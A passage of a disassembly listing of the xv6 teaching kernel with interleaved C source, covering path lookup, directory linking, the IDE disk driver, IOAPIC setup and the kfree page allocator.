89 c6 mov %eax,%esi 80101deb: e9 c3 fe ff ff jmp 80101cb3 <namex+0x43> iunlock(ip); 80101df0: 89 34 24 mov %esi,(%esp) 80101df3: e8 88 f9 ff ff call 80101780 <iunlock> } 80101df8: 83 c4 2c add $0x2c,%esp return ip; 80101dfb: 89 f0 mov %esi,%eax } 80101dfd: 5b pop %ebx 80101dfe: 5e pop %esi 80101dff: 5f pop %edi 80101e00: 5d pop %ebp 80101e01: c3 ret iput(ip); 80101e02: 89 34 24 mov %esi,(%esp) 80101e05: e8 b6 f9 ff ff call 801017c0 <iput> return 0; 80101e0a: 31 c0 xor %eax,%eax 80101e0c: eb aa jmp 80101db8 <namex+0x148> 80101e0e: 66 90 xchg %ax,%ax 80101e10 <dirlink>: { 80101e10: 55 push %ebp 80101e11: 89 e5 mov %esp,%ebp 80101e13: 57 push %edi 80101e14: 56 push %esi 80101e15: 53 push %ebx 80101e16: 83 ec 2c sub $0x2c,%esp 80101e19: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101e1c: 8b 45 0c mov 0xc(%ebp),%eax 80101e1f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101e26: 00 80101e27: 89 1c 24 mov %ebx,(%esp) 80101e2a: 89 44 24 04 mov %eax,0x4(%esp) 80101e2e: e8 7d fd ff ff call 80101bb0 <dirlookup> 80101e33: 85 c0 test %eax,%eax 80101e35: 0f 85 8b 00 00 00 jne 80101ec6 <dirlink+0xb6> for(off = 0; off < dp->size; off += sizeof(de)){ 80101e3b: 8b 43 58 mov 0x58(%ebx),%eax 80101e3e: 31 ff xor %edi,%edi 80101e40: 8d 75 d8 lea -0x28(%ebp),%esi 80101e43: 85 c0 test %eax,%eax 80101e45: 75 13 jne 80101e5a <dirlink+0x4a> 80101e47: eb 35 jmp 80101e7e <dirlink+0x6e> 80101e49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101e50: 8d 57 10 lea 0x10(%edi),%edx 80101e53: 39 53 58 cmp %edx,0x58(%ebx) 80101e56: 89 d7 mov %edx,%edi 80101e58: 76 24 jbe 80101e7e <dirlink+0x6e> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e5a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101e61: 00 80101e62: 89 7c 24 08 mov %edi,0x8(%esp) 80101e66: 89 74 24 04 mov %esi,0x4(%esp) 80101e6a: 89 1c 24 mov %ebx,(%esp) 80101e6d: e8 de fa ff ff call 80101950 <readi> 80101e72: 83 f8 10 cmp $0x10,%eax 80101e75: 75 5e jne 80101ed5 <dirlink+0xc5> if(de.inum == 0) 80101e77: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e7c: 75 d2 jne 80101e50 <dirlink+0x40> strncpy(de.name, name, DIRSIZ); 80101e7e: 8b 45 0c mov 0xc(%ebp),%eax 80101e81: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101e88: 00 80101e89: 89 44 24 04 mov %eax,0x4(%esp) 80101e8d: 8d 45 da lea -0x26(%ebp),%eax 80101e90: 89 04 24 mov %eax,(%esp) 80101e93: e8 68 25 00 00 call 80104400 <strncpy> de.inum = inum; 80101e98: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e9b: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101ea2: 00 80101ea3: 89 7c 24 08 mov %edi,0x8(%esp) 80101ea7: 89 74 24 04 mov %esi,0x4(%esp) 80101eab: 89 1c 24 mov %ebx,(%esp) de.inum = inum; 80101eae: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101eb2: e8 99 fb ff ff call 80101a50 <writei> 80101eb7: 83 f8 10 cmp $0x10,%eax 80101eba: 75 25 jne 80101ee1 <dirlink+0xd1> return 0; 80101ebc: 31 c0 xor %eax,%eax } 80101ebe: 83 c4 2c add $0x2c,%esp 80101ec1: 5b pop %ebx 80101ec2: 5e pop %esi 80101ec3: 5f pop %edi 80101ec4: 5d pop %ebp 80101ec5: c3 ret iput(ip); 80101ec6: 89 04 24 mov %eax,(%esp) 80101ec9: e8 f2 f8 ff ff call 801017c0 <iput> return -1; 80101ece: b8 ff ff ff ff mov $0xffffffff,%eax 80101ed3: eb e9 jmp 80101ebe <dirlink+0xae> panic("dirlink read"); 80101ed5: c7 04 24 88 6f 10 80 movl $0x80106f88,(%esp) 80101edc: e8 7f e4 ff ff call 80100360 <panic> panic("dirlink"); 80101ee1: c7 04 24 86 75 10 80 movl $0x80107586,(%esp) 80101ee8: e8 73 e4 ff ff call 80100360 <panic> 80101eed: 8d 76 00 lea 0x0(%esi),%esi 80101ef0 <namei>: struct inode* namei(char *path) { 80101ef0: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101ef1: 31 d2 xor %edx,%edx { 80101ef3: 89 e5 mov %esp,%ebp 80101ef5: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 80101ef8: 8b 45 08 mov 0x8(%ebp),%eax 80101efb: 8d 4d ea lea -0x16(%ebp),%ecx 80101efe: e8 6d fd ff ff call 80101c70 <namex> } 80101f03: c9 leave 80101f04: c3 ret 80101f05: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101f09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f10 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f10: 55 push %ebp return namex(path, 1, name); 80101f11: ba 01 00 00 00 mov $0x1,%edx { 80101f16: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f18: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f1b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f1e: 5d pop %ebp return namex(path, 1, name); 80101f1f: e9 4c fd ff ff jmp 80101c70 <namex> 80101f24: 66 90 xchg %ax,%ax 80101f26: 66 90 xchg %ax,%ax 80101f28: 66 90 xchg %ax,%ax 80101f2a: 66 90 xchg %ax,%ax 80101f2c: 66 90 xchg %ax,%ax 80101f2e: 66 90 xchg %ax,%ax 80101f30 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f30: 55 push %ebp 80101f31: 89 e5 mov %esp,%ebp 80101f33: 56 push %esi 80101f34: 89 c6 mov %eax,%esi 80101f36: 53 push %ebx 80101f37: 83 ec 10 sub $0x10,%esp if(b == 0) 80101f3a: 85 c0 test %eax,%eax 80101f3c: 0f 84 99 00 00 00 je 80101fdb <idestart+0xab> panic("idestart"); if(b->blockno >= FSSIZE) 80101f42: 8b 48 08 mov 0x8(%eax),%ecx 80101f45: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx 80101f4b: 0f 87 7e 00 00 00 ja 80101fcf <idestart+0x9f> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f51: ba f7 01 00 00 mov $0x1f7,%edx 80101f56: 66 90 xchg %ax,%ax 80101f58: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f59: 83 e0 c0 and $0xffffffc0,%eax 80101f5c: 3c 40 cmp $0x40,%al 80101f5e: 75 f8 jne 80101f58 <idestart+0x28> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f60: 31 db xor %ebx,%ebx 80101f62: ba f6 03 00 00 mov $0x3f6,%edx 80101f67: 89 d8 mov %ebx,%eax 80101f69: ee out %al,(%dx) 80101f6a: ba f2 01 00 00 mov $0x1f2,%edx 80101f6f: b8 01 00 00 00 mov $0x1,%eax 80101f74: ee out %al,(%dx) 80101f75: 0f b6 c1 movzbl %cl,%eax 80101f78: b2 f3 mov $0xf3,%dl 80101f7a: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f7b: 89 c8 mov %ecx,%eax 80101f7d: b2 f4 mov $0xf4,%dl 80101f7f: c1 f8 08 sar $0x8,%eax 80101f82: ee out %al,(%dx) 80101f83: b2 f5 mov $0xf5,%dl 80101f85: 89 d8 mov %ebx,%eax 80101f87: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101f88: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101f8c: b2 f6 mov $0xf6,%dl 80101f8e: 83 e0 01 and $0x1,%eax 80101f91: c1 e0 04 shl $0x4,%eax 80101f94: 83 c8 e0 or $0xffffffe0,%eax 80101f97: ee out %al,(%dx) if(b->flags & B_DIRTY){ 80101f98: f6 06 04 testb $0x4,(%esi) 80101f9b: 75 13 jne 80101fb0 <idestart+0x80> 80101f9d: ba f7 01 00 00 mov $0x1f7,%edx 80101fa2: b8 20 00 00 00 mov $0x20,%eax 80101fa7: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101fa8: 83 c4 10 add $0x10,%esp 80101fab: 5b pop %ebx 80101fac: 5e pop %esi 80101fad: 5d pop %ebp 80101fae: c3 ret 80101faf: 90 nop 80101fb0: b2 f7 mov $0xf7,%dl 80101fb2: b8 30 00 00 00 mov $0x30,%eax 80101fb7: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80101fb8: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80101fbd: 83 c6 5c add $0x5c,%esi 80101fc0: ba f0 01 00 00 mov $0x1f0,%edx 80101fc5: fc cld 80101fc6: f3 6f rep outsl %ds:(%esi),(%dx) } 80101fc8: 83 c4 10 add $0x10,%esp 80101fcb: 5b pop %ebx 80101fcc: 5e pop %esi 80101fcd: 5d pop %ebp 80101fce: c3 ret panic("incorrect blockno"); 80101fcf: c7 04 24 f4 6f 10 80 movl $0x80106ff4,(%esp) 80101fd6: e8 85 e3 ff ff call 80100360 <panic> panic("idestart"); 80101fdb: c7 04 24 eb 6f 10 80 movl $0x80106feb,(%esp) 80101fe2: e8 79 e3 ff ff call 80100360 <panic> 80101fe7: 89 f6 mov %esi,%esi 80101fe9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ff0 <ideinit>: { 80101ff0: 55 push %ebp 80101ff1: 89 e5 mov %esp,%ebp 80101ff3: 83 ec 18 sub $0x18,%esp initlock(&idelock, "ide"); 80101ff6: c7 44 24 04 06 70 10 movl $0x80107006,0x4(%esp) 80101ffd: 80 80101ffe: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102005: e8 36 20 00 00 call 80104040 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 8010200a: a1 00 2d 11 80 mov 0x80112d00,%eax 8010200f: c7 04 24 0e 00 00 00 movl $0xe,(%esp) 80102016: 83 e8 01 sub $0x1,%eax 80102019: 89 44 24 04 mov %eax,0x4(%esp) 8010201d: e8 7e 02 00 00 call 801022a0 <ioapicenable> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102022: ba f7 01 00 00 mov $0x1f7,%edx 80102027: 90 nop 80102028: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102029: 83 e0 c0 and $0xffffffc0,%eax 8010202c: 3c 40 cmp $0x40,%al 8010202e: 75 f8 jne 80102028 <ideinit+0x38> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102030: ba f6 01 00 00 mov $0x1f6,%edx 80102035: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010203a: ee out %al,(%dx) 8010203b: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102040: b2 f7 mov $0xf7,%dl 80102042: eb 09 jmp 8010204d <ideinit+0x5d> 80102044: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<1000; i++){ 80102048: 83 e9 01 sub $0x1,%ecx 8010204b: 74 0f je 8010205c <ideinit+0x6c> 8010204d: ec in (%dx),%al if(inb(0x1f7) != 0){ 8010204e: 84 c0 test %al,%al 80102050: 74 f6 je 80102048 <ideinit+0x58> havedisk1 = 1; 80102052: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102059: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010205c: ba f6 01 00 00 mov $0x1f6,%edx 80102061: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102066: ee out %al,(%dx) } 80102067: c9 leave 80102068: c3 ret 80102069: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102070 <ideintr>: // Interrupt handler. void ideintr(void) { 80102070: 55 push %ebp 80102071: 89 e5 mov %esp,%ebp 80102073: 57 push %edi 80102074: 56 push %esi 80102075: 53 push %ebx 80102076: 83 ec 1c sub $0x1c,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102079: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102080: e8 ab 20 00 00 call 80104130 <acquire> if((b = idequeue) == 0){ 80102085: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 8010208b: 85 db test %ebx,%ebx 8010208d: 74 30 je 801020bf <ideintr+0x4f> release(&idelock); return; } idequeue = b->qnext; 8010208f: 8b 43 58 mov 0x58(%ebx),%eax 80102092: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 80102097: 8b 33 mov (%ebx),%esi 80102099: f7 c6 04 00 00 00 test $0x4,%esi 8010209f: 74 37 je 801020d8 <ideintr+0x68> insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 801020a1: 83 e6 fb and $0xfffffffb,%esi 801020a4: 83 ce 02 or $0x2,%esi 801020a7: 89 33 mov %esi,(%ebx) wakeup(b); 801020a9: 89 1c 24 mov %ebx,(%esp) 801020ac: e8 cf 1c 00 00 call 80103d80 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020b1: a1 64 a5 10 80 mov 0x8010a564,%eax 801020b6: 85 c0 test %eax,%eax 801020b8: 74 05 je 801020bf <ideintr+0x4f> idestart(idequeue); 801020ba: e8 71 fe ff ff call 80101f30 <idestart> release(&idelock); 801020bf: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 801020c6: e8 55 21 00 00 call 80104220 <release> release(&idelock); } 801020cb: 83 c4 1c add $0x1c,%esp 801020ce: 5b pop %ebx 801020cf: 5e pop %esi 801020d0: 5f pop %edi 801020d1: 5d pop %ebp 801020d2: c3 ret 801020d3: 90 nop 801020d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020d8: ba f7 01 00 00 mov $0x1f7,%edx 801020dd: 8d 76 00 lea 0x0(%esi),%esi 801020e0: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020e1: 89 c1 mov %eax,%ecx 801020e3: 83 e1 c0 and $0xffffffc0,%ecx 801020e6: 80 f9 40 cmp $0x40,%cl 801020e9: 75 f5 jne 801020e0 <ideintr+0x70> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020eb: a8 21 test $0x21,%al 801020ed: 75 b2 jne 801020a1 <ideintr+0x31> insl(0x1f0, b->data, BSIZE/4); 801020ef: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 801020f2: b9 80 00 00 00 mov $0x80,%ecx 801020f7: ba f0 01 00 00 mov $0x1f0,%edx 801020fc: fc cld 801020fd: f3 6d rep insl (%dx),%es:(%edi) 801020ff: 8b 33 mov (%ebx),%esi 80102101: eb 9e jmp 801020a1 <ideintr+0x31> 80102103: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102110 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102110: 55 push %ebp 80102111: 89 e5 mov %esp,%ebp 80102113: 53 push %ebx 80102114: 83 ec 14 sub $0x14,%esp 80102117: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010211a: 8d 43 0c lea 0xc(%ebx),%eax 8010211d: 89 04 24 mov %eax,(%esp) 80102120: e8 eb 1e 00 00 call 80104010 <holdingsleep> 80102125: 85 c0 test %eax,%eax 80102127: 0f 84 9e 00 00 00 je 801021cb <iderw+0xbb> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010212d: 8b 03 mov (%ebx),%eax 8010212f: 83 e0 06 and $0x6,%eax 80102132: 83 f8 02 cmp $0x2,%eax 80102135: 0f 84 a8 00 00 00 je 801021e3 <iderw+0xd3> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010213b: 8b 53 04 mov 0x4(%ebx),%edx 8010213e: 85 d2 test %edx,%edx 80102140: 74 0d je 8010214f <iderw+0x3f> 80102142: a1 60 a5 10 80 mov 0x8010a560,%eax 80102147: 85 c0 test %eax,%eax 80102149: 0f 84 88 00 00 00 je 801021d7 <iderw+0xc7> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 8010214f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102156: e8 d5 1f 00 00 call 80104130 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010215b: a1 64 a5 10 80 mov 0x8010a564,%eax b->qnext = 0; 80102160: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 80102167: 85 c0 test %eax,%eax 80102169: 75 07 jne 80102172 <iderw+0x62> 8010216b: eb 4e jmp 801021bb <iderw+0xab> 8010216d: 8d 76 00 lea 0x0(%esi),%esi 80102170: 89 d0 mov %edx,%eax 80102172: 8b 50 58 mov 0x58(%eax),%edx 80102175: 85 d2 test %edx,%edx 80102177: 75 f7 jne 80102170 <iderw+0x60> 80102179: 83 c0 58 add $0x58,%eax ; *pp = b; 8010217c: 89 18 mov %ebx,(%eax) // Start disk if necessary. if(idequeue == b) 8010217e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 80102184: 74 3c je 801021c2 <iderw+0xb2> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 80102186: 8b 03 mov (%ebx),%eax 80102188: 83 e0 06 and $0x6,%eax 8010218b: 83 f8 02 cmp $0x2,%eax 8010218e: 74 1a je 801021aa <iderw+0x9a> sleep(b, &idelock); 80102190: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp) 80102197: 80 80102198: 89 1c 24 mov %ebx,(%esp) 8010219b: e8 50 1a 00 00 call 80103bf0 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021a0: 8b 13 mov (%ebx),%edx 801021a2: 83 e2 06 and $0x6,%edx 801021a5: 83 fa 02 cmp $0x2,%edx 801021a8: 75 e6 jne 80102190 <iderw+0x80> } release(&idelock); 801021aa: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021b1: 83 c4 14 add $0x14,%esp 801021b4: 5b pop %ebx 801021b5: 5d pop %ebp release(&idelock); 801021b6: e9 65 20 00 00 jmp 80104220 <release> for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021bb: b8 64 a5 10 80 mov $0x8010a564,%eax 801021c0: eb ba jmp 8010217c <iderw+0x6c> idestart(b); 801021c2: 89 d8 mov %ebx,%eax 801021c4: e8 67 fd ff ff call 80101f30 <idestart> 801021c9: eb bb jmp 80102186 <iderw+0x76> panic("iderw: buf not locked"); 801021cb: c7 04 24 0a 70 10 80 movl $0x8010700a,(%esp) 801021d2: e8 89 e1 ff ff call 80100360 <panic> panic("iderw: ide disk 1 not present"); 801021d7: c7 04 24 35 70 10 80 movl $0x80107035,(%esp) 801021de: e8 7d e1 ff ff call 80100360 <panic> panic("iderw: nothing to do"); 801021e3: c7 04 24 20 70 10 80 movl $0x80107020,(%esp) 801021ea: e8 71 e1 ff ff call 80100360 <panic> 801021ef: 90 nop 801021f0 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 801021f0: 55 push %ebp 801021f1: 89 e5 mov %esp,%ebp 801021f3: 56 push %esi 801021f4: 53 push %ebx 801021f5: 83 ec 10 sub $0x10,%esp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 801021f8: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 801021ff: 00 c0 fe ioapic->reg = reg; 80102202: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102209: 00 00 00 return ioapic->data; 8010220c: 8b 15 34 26 11 80 mov 0x80112634,%edx 80102212: 8b 42 10 mov 0x10(%edx),%eax ioapic->reg = reg; 80102215: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 8010221b: 8b 1d 34 26 11 80 mov 0x80112634,%ebx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 80102221: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102228: c1 e8 10 shr $0x10,%eax 8010222b: 0f b6 f0 movzbl %al,%esi return ioapic->data; 8010222e: 8b 43 10 mov 0x10(%ebx),%eax id = ioapicread(REG_ID) >> 24; 80102231: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102234: 39 c2 cmp %eax,%edx 80102236: 74 12 je 8010224a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102238: c7 04 24 54 70 10 80 movl $0x80107054,(%esp) 8010223f: e8 0c e4 ff ff call 80100650 <cprintf> 80102244: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 8010224a: ba 10 00 00 00 mov $0x10,%edx 8010224f: 31 c0 xor %eax,%eax 80102251: eb 07 jmp 8010225a <ioapicinit+0x6a> 80102253: 90 nop 80102254: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102258: 89 cb mov %ecx,%ebx ioapic->reg = reg; 8010225a: 89 13 mov %edx,(%ebx) ioapic->data = data; 8010225c: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 80102262: 8d 48 20 lea 0x20(%eax),%ecx // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102265: 81 c9 00 00 01 00 or $0x10000,%ecx for(i = 0; i <= maxintr; i++){ 8010226b: 83 c0 01 add $0x1,%eax ioapic->data = data; 8010226e: 89 4b 10 mov %ecx,0x10(%ebx) 80102271: 8d 4a 01 lea 0x1(%edx),%ecx 80102274: 83 c2 02 add $0x2,%edx ioapic->reg = reg; 80102277: 89 0b mov %ecx,(%ebx) ioapic->data = data; 80102279: 8b 0d 34 26 11 80 mov 0x80112634,%ecx for(i = 0; i <= maxintr; i++){ 8010227f: 39 c6 cmp %eax,%esi ioapic->data = data; 80102281: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 80102288: 7d ce jge 80102258 <ioapicinit+0x68> ioapicwrite(REG_TABLE+2*i+1, 0); } } 8010228a: 83 c4 10 add $0x10,%esp 8010228d: 5b pop %ebx 8010228e: 5e pop %esi 8010228f: 5d pop %ebp 80102290: c3 ret 80102291: eb 0d jmp 801022a0 <ioapicenable> 80102293: 90 nop 80102294: 90 nop 80102295: 90 nop 80102296: 90 nop 80102297: 90 nop 80102298: 90 nop 80102299: 90 nop 8010229a: 90 nop 8010229b: 90 nop 8010229c: 90 nop 8010229d: 90 nop 8010229e: 90 nop 8010229f: 90 nop 801022a0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022a0: 55 push %ebp 801022a1: 89 e5 mov %esp,%ebp 801022a3: 8b 55 08 mov 0x8(%ebp),%edx 801022a6: 53 push %ebx 801022a7: 8b 45 0c mov 0xc(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022aa: 8d 5a 20 lea 0x20(%edx),%ebx 801022ad: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx ioapic->reg = reg; 801022b1: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022b7: c1 e0 18 shl $0x18,%eax ioapic->reg = reg; 801022ba: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022bc: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022c2: 83 c1 01 add $0x1,%ecx ioapic->data = data; 801022c5: 89 5a 10 mov %ebx,0x10(%edx) ioapic->reg = reg; 801022c8: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022ca: 8b 15 34 26 11 80 mov 0x80112634,%edx 801022d0: 89 42 10 mov %eax,0x10(%edx) } 801022d3: 5b pop %ebx 801022d4: 5d pop %ebp 801022d5: c3 ret 801022d6: 66 90 xchg %ax,%ax 801022d8: 66 90 xchg %ax,%ax 801022da: 66 90 xchg %ax,%ax 801022dc: 66 90 xchg %ax,%ax 801022de: 66 90 xchg %ax,%ax 801022e0 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 801022e0: 55 push %ebp 801022e1: 89 e5 mov %esp,%ebp 801022e3: 53 push %ebx 801022e4: 83 ec 14 sub $0x14,%esp 801022e7: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 801022ea: f7 c3 ff 0f 00 00 test $0xfff,%ebx 801022f0: 75 7c jne 8010236e <kfree+0x8e> 801022f2: 81 fb f4 58 11 80 cmp $0x801158f4,%ebx 801022f8: 72 74 jb 8010236e <kfree+0x8e> 801022fa: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102300: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102305: 77 67 ja 8010236e <kfree+0x8e> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102307: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010230e: 00 8010230f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80102316: 00 80102317: 89 1c 24 mov %ebx,(%esp) 8010231a: e8 51 1f 00 00 call 80104270 <memset> if(kmem.use_lock) 8010231f: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102325: 85 d2 test %edx,%edx 80102327: 75 37 jne 80102360 <kfree+0x80> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102329: a1 78 26 11 80 mov 0x80112678,%eax 8010232e: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 80102330: a1 74 26 11 80 mov 0x80112674,%eax kmem.freelist = r; 80102335: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 8010233b: 85 c0 test %eax,%eax 8010233d: 75 09 jne 80102348 <kfree+0x68> release(&kmem.lock); } 8010233f: 83 c4 14 add $0x14,%esp 80102342: 5b pop %ebx 80102343: 5d pop %ebp 80102344: c3 ret 80102345: 8d 76 00 lea 0x0(%esi),%esi release(&kmem.lock); 80102348: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 8010234f: 83 c4 14 add $0x14,%esp 80102352: 5b pop %ebx 80102353: 5d pop %ebp release(&kmem.lock); 80102354: e9 c7 1e 00 00 jmp 80104220 <release> 80102359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&kmem.lock); 80102360: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 80102367: e8 c4 1d 00 00 call 80104130 <acquire> 8010236c: eb bb jmp 80102329 <kfree+0x49> panic("kfree"); 8010236e: c7 04 24 86 70 10 80 movl $0x80107086,(%esp) 80102375: e8 e6 df ff ff call 80100360 <panic> 8010237a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102380 <freerange>: { 80102380: 55 push %ebp 80102381: 89 e5 mov %esp,%ebp 80102383: 56 push %esi 80102384: 53 push %ebx 80102385: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 80102388: 8b 45 08 mov 0x8(%ebp),%eax { 8010238b: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010238e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102394: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010239a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 801023a0: 39 de cmp %ebx,%esi 801023a2: 73 08 jae 801023ac <freerange+0x2c> 801023a4: eb 18 jmp 801023be <freerange+0x3e> 801023a6: 66 90 xchg %ax,%ax 801023a8: 89 da mov %ebx,%edx 801023aa: 89 c3 mov %eax,%ebx kfree(p); 801023ac: 89 14 24 mov %edx,(%esp) 801023af: e8 2c ff ff ff call 801022e0 